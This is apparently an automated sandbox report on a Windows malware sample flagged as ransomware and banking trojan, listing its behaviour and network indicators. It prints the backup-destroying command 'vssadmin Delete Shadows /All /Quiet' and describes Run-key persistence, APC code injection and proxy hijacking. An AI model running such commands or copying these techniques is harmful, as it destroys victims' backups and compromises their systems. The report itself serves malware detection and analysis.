Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/namebright.cfm
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/payment-plan-login.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/payment-plan-setup.cfm?d=Ibhat.com
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/payment-plans.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/payment-plans.cfm?d=Ibhat.com
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/privacy_policy.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/rjs/hdv3-rjs/contact.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/satisfaction_guaranteed.cfm
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/shopping_cart.cfm
Source: svchost.exe, 00000004.00000003.801277959.0000000003720000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/shopping_cart.cfm?d
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.801339866.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/shopping_cart.cfm?d=Ibhat&e=com
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/terms.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/testimonials.cfm
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-7117339-4
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-MSFZ8G
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://www.youtube.com/channel/UCi1rl24o3vr0gFsgVumUseg
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.youtube.com/embed/9wCygJtW_SQ?rel=0&autoplay=0&showinfo=0&controls=0
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://yoast.com/wordpress/plugins/seo/
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownHTTPS traffic detected: 172.67.70.191:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknownHTTPS traffic detected: 157.240.17.35:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknownHTTPS traffic detected: 156.38.154.7:443 -> 192.168.2.3:49760 version: TLS 1.2

E-Banking Fraud:

barindex
Sets a proxy for the internet explorerShow sources
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeRegistry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyServerJump to behavior

Spam, unwanted Advertisements and Ransom Demands:

barindex
Deletes shadow drive data (may be related to ransomware)Show sources
Source: C:\Windows\SysWOW64\explorer.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: yx8DBT3r5r.exeBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\SysWOW64\explorer.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /QuietJump to behavior
Source: explorer.exeBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
Source: explorer.exe, 00000003.00000002.346228930.00000000010BC000.00000004.00000010.sdmpBinary or memory string: nvssadmin.exe Delete Shadows /All /Qu
Source: explorer.exe, 00000003.00000002.346331437.0000000001215000.00000004.00000020.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /QuietC:\Windows\SysWOW64\vssadmin.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=GAOBCVIUSERDOMAIN_ROAMINGPROFILE=computerUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowsww:l
Source: svchost.exeBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
Source: vssadmin.exe, 00000016.00000002.348424297.00000000033B0000.00000004.00000040.sdmpBinary or memory string: vssadmin.exeDeleteShadows/All/Quiet
Source: vssadmin.exe, 00000016.00000002.348274104.0000000002FA0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete ShadowStorage
Source: vssadmin.exe, 00000016.00000002.348274104.0000000002FA0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
Source: vssadmin.exe, 00000016.00000002.348274104.0000000002FA0000.00000002.00000001.sdmpBinary or memory string: vssadmin Delete Shadows
Source: vssadmin.exe, 00000016.00000002.348274104.0000000002FA0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
Source: vssadmin.exe, 00000016.00000002.348274104.0000000002FA0000.00000002.00000001.sdmpBinary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:
Source: vssadmin.exe, 00000016.00000002.348158616.0000000002E7C000.00000004.00000010.sdmpBinary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00006908- TID: 00006912- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002
Source: vssadmin.exe, 00000016.00000002.348158616.0000000002E7C000.00000004.00000010.sdmpBinary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00006908- TID: 00006912- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002 -
Source: vssadmin.exe, 00000016.00000002.348284968.0000000002FB0000.00000004.00000020.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /QuietC:\Windows\SysWOW64\vssadmin.exeWinsta0\Default
Enables a proxy for the internet explorerShow sources
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeRegistry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyEnableJump to behavior
Sets a proxy for the internet explorerShow sources
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeRegistry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyServerJump to behavior

System Summary:

barindex
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_00409240 NtQueryInformationToken,0_2_00409240
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_00404A00 NtCreateFile,NtQueryVolumeInformationFile,0_2_00404A00
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_00407410 NtAllocateVirtualMemory,0_2_00407410
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_00413C10 EntryPoint,NtTerminateProcess,0_2_00413C10
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_004016F0 NtAllocateVirtualMemory,CreateFileMappingW,0_2_004016F0
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_00406970 NtCreateFile,0_2_00406970
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_0040A500 RtlQueueApcWow64Thread,NtResumeThread,0_2_0040A500
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_00407700 NtFreeVirtualMemory,NtFreeVirtualMemory,0_2_00407700
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_0040A310 NtUnmapViewOfSection,0_2_0040A310
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FA500 RtlQueueApcWow64Thread,NtResumeThread,3_2_010FA500
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F7700 NtFreeVirtualMemory,NtFreeVirtualMemory,3_2_010F7700
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F9510 NtDelayExecution,3_2_010F9510
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FA310 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,3_2_010FA310
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FB310 NtClose,3_2_010FB310
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F6520 NtCreateFile,NtReadFile,3_2_010F6520
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F6750 NtCreateFile,NtWriteFile,NtClose,3_2_010F6750
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F6970 NtCreateFile,3_2_010F6970
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F63C0 NtCreateFile,NtSetInformationFile,3_2_010F63C0
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FB3C0 NtQueryValueKey,NtQueryValueKey,3_2_010FB3C0
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_01103BC0 NtTerminateProcess,3_2_01103BC0
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F8FE0 NtTerminateProcess,NtClose,3_2_010F8FE0
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F4A00 NtCreateFile,NtQueryVolumeInformationFile,NtClose,3_2_010F4A00
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F7410 NtAllocateVirtualMemory,3_2_010F7410
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F6C10 NtCreateFile,NtClose,3_2_010F6C10
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FB230 NtOpenKey,3_2_010FB230
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FB640 NtSetValueKey,3_2_010FB640
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F9240 NtQueryInformationToken,NtClose,3_2_010F9240
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F6A50 NtDeleteFile,3_2_010F6A50
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F9890 NtQueryInformationToken,NtQueryInformationToken,NtClose,3_2_010F9890
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F16F0 NtAllocateVirtualMemory,3_2_010F16F0
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C7700 NtFreeVirtualMemory,NtFreeVirtualMemory,4_2_030C7700
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C9510 NtDelayExecution,4_2_030C9510
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030CB310 NtClose,4_2_030CB310
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C6520 NtCreateFile,4_2_030C6520
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030CB3C0 NtQueryValueKey,NtQueryValueKey,4_2_030CB3C0
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C4A00 NtCreateFile,NtQueryVolumeInformationFile,NtClose,4_2_030C4A00
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C7410 NtAllocateVirtualMemory,4_2_030C7410
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030CB230 NtOpenKey,4_2_030CB230
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C9240 NtQueryInformationToken,NtClose,4_2_030C9240
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C9890 NtQueryInformationToken,NtQueryInformationToken,NtClose,4_2_030C9890
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030C16F0 NtAllocateVirtualMemory,4_2_030C16F0
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_0040DED00_2_0040DED0
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FDED03_2_010FDED0
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030CDED04_2_030CDED0
Source: yx8DBT3r5r.exeStatic PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 8e7b5.exe.3.drStatic PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: yx8DBT3r5r.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Source: classification engineClassification label: mal100.rans.bank.troj.adwa.evad.winEXE@14/1@58/26
Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Roaming\88e08d7eaJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7024:120:WilError_01
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created: C:\Windows\SysWOW64\explorer.exeJump to behavior
Source: yx8DBT3r5r.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\splwow64.exeFile read: C:\Windows\System32\DriverStore\FileRepository\prnms006.inf_amd64_2f92130612032712\SendToOneNote-manifest.iniJump to behavior
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\SysWOW64\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: yx8DBT3r5r.exeVirustotal: Detection: 71%
Source: yx8DBT3r5r.exeMetadefender: Detection: 65%
Source: yx8DBT3r5r.exeReversingLabs: Detection: 90%
Source: yx8DBT3r5r.exeString found in binary or memory: (%s)</installedPrograms>
Source: yx8DBT3r5r.exeString found in binary or memory: s programmas (%s)</installedPrograms>
Source: unknownProcess created: C:\Users\user\Desktop\yx8DBT3r5r.exe 'C:\Users\user\Desktop\yx8DBT3r5r.exe'
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\syswow64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exeProcess created: C:\Windows\SysWOW64\svchost.exe -k netsvcs
Source: unknownProcess created: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe 'C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe'
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeProcess created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknownProcess created: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe 'C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe'
Source: C:\Windows\SysWOW64\explorer.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\SysWOW64\vssadmin.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288Jump to behavior
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\syswow64\explorer.exeJump to behavior
Source: C:\Windows\SysWOW64\explorer.exeProcess created: C:\Windows\SysWOW64\svchost.exe -k netsvcsJump to behavior
Source: C:\Windows\SysWOW64\explorer.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /QuietJump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeProcess created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4B966436-6781-4906-8035-9AF94B32C3F7}\InprocServer32Jump to behavior
Source: yx8DBT3r5r.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: Y:\cards\AllThings\ISD\Napster\Set.pdb source: yx8DBT3r5r.exe

Data Obfuscation:

barindex
Detected unpacking (changes PE section rights)Show sources
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeUnpacked PE file: 0.2.yx8DBT3r5r.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeUnpacked PE file: 9.2.8e7b5.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeUnpacked PE file: 13.2.8e7b5.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeCode function: 9_2_03BA0012 push eax; ret 9_2_03BA002A
Source: initial sampleStatic PE information: section name: .text entropy: 7.55787313794
Source: initial sampleStatic PE information: section name: .text entropy: 7.55787313794
Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeJump to dropped file

Boot Survival:

barindex
Creates autostart registry keys with suspicious namesShow sources
Source: C:\Windows\SysWOW64\explorer.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 88e08d7eaJump to behavior
Source: C:\Windows\SysWOW64\explorer.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 88e08d7eaJump to behavior
Source: C:\Windows\SysWOW64\explorer.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 88e08d7eaJump to behavior
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exeWindow / User API: threadDelayed 868Jump to behavior
Source: C:\Users\user\Desktop\yx8DBT3r5r.exe TID: 5404Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 4076Thread sleep count: 868 > 30Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 4076Thread sleep count: 132 > 30Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 6128Thread sleep count: 59 > 30Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 6128Thread sleep time: -590000s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe TID: 5604Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe TID: 6996Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\splwow64.exeThread delayed: delay time: 120000Jump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\splwow64.exeThread delayed: delay time: 120000Jump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: vssadmin.exe, 00000016.00000002.348457192.0000000004BA0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: vssadmin.exe, 00000016.00000002.348457192.0000000004BA0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: vssadmin.exe, 00000016.00000002.348457192.0000000004BA0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: yx8DBT3r5r.exe, 00000000.00000002.233528064.000000000066A000.00000004.00000001.sdmp, 8e7b5.exe, 0000000D.00000002.301764952.00000000023B4000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: vssadmin.exe, 00000016.00000002.348457192.0000000004BA0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010F7F50 LdrLoadDll,3_2_010F7F50
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_0040D560 mov eax, dword ptr fs:[00000030h]0_2_0040D560
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_03A11900 mov eax, dword ptr fs:[00000030h]0_2_03A11900
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_03A156B4 mov ebx, dword ptr fs:[00000030h]0_2_03A156B4
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_03A134D4 mov eax, dword ptr fs:[00000030h]0_2_03A134D4
Source: C:\Windows\SysWOW64\explorer.exeCode function: 3_2_010FD560 mov eax, dword ptr fs:[00000030h]3_2_010FD560
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030CD560 mov eax, dword ptr fs:[00000030h]4_2_030CD560
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeCode function: 9_2_03BA1900 mov eax, dword ptr fs:[00000030h]9_2_03BA1900
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeCode function: 9_2_03BA56B4 mov ebx, dword ptr fs:[00000030h]9_2_03BA56B4
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeCode function: 9_2_03BA34D4 mov eax, dword ptr fs:[00000030h]9_2_03BA34D4
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeCode function: 13_2_039A1900 mov eax, dword ptr fs:[00000030h]13_2_039A1900
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeCode function: 13_2_039A56B4 mov ebx, dword ptr fs:[00000030h]13_2_039A56B4
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeCode function: 13_2_039A34D4 mov eax, dword ptr fs:[00000030h]13_2_039A34D4

HIPS / PFW / Operating System Protection Evasion:

barindex
Early bird code injection technique detectedShow sources
Source: C:\Windows\SysWOW64\explorer.exeProcess created / APC Queued / Resumed: C:\Windows\SysWOW64\svchost.exeJump to behavior
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created / APC Queued / Resumed: C:\Windows\SysWOW64\explorer.exeJump to behavior
System process connects to network (likely due to code injection or exploit)Show sources
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 103.224.212.220 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 136.243.138.29 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 157.240.17.35 187Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: mconnect.pl
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 3.223.115.185 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: gracilarias.org
Source: C:\Windows\SysWOW64\svchost.exeDomain query: www.mobilityconsignment.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: free-tv-shows33.tk
Source: C:\Windows\SysWOW64\svchost.exeDomain query: hausessen.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: inicc.yucatan.gob.mx
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 187.141.74.3 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 64.190.62.111 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: goodtimecharlies.biz
Source: C:\Windows\SysWOW64\svchost.exeDomain query: my-web.in.ua
Source: C:\Windows\SysWOW64\svchost.exeDomain query: mobilityclassifieds.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: intermountainautoglass.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: icsot.na.its.ac.id
Source: C:\Windows\SysWOW64\svchost.exeDomain query: lucianobraga.com.br
Source: C:\Windows\SysWOW64\svchost.exeDomain query: hotel525.tk
Source: C:\Windows\SysWOW64\svchost.exeDomain query: freemoviesonline665.tk
Source: C:\Windows\SysWOW64\svchost.exeDomain query: ignitethewinter.com
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 78.153.216.15 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: homealldaylong.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: fga-agency.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: healthybloodpressure.info
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 81.88.57.88 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: kweebix.fr
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 92.51.129.66 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: krp.unud.ac.id
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 152.199.21.175 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 173.236.34.242 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: levika.pl
Source: C:\Windows\SysWOW64\svchost.exeDomain query: ibhat.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: ecommercecio.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: le-clainche.com
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 172.67.70.191 187Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: e8udu6up.coolhandle-customer.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: filtryfotograficzne.photho.pl
Source: C:\Windows\SysWOW64\svchost.exeDomain query: ladiabetesnoesmilimite.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: lvfrance.fr
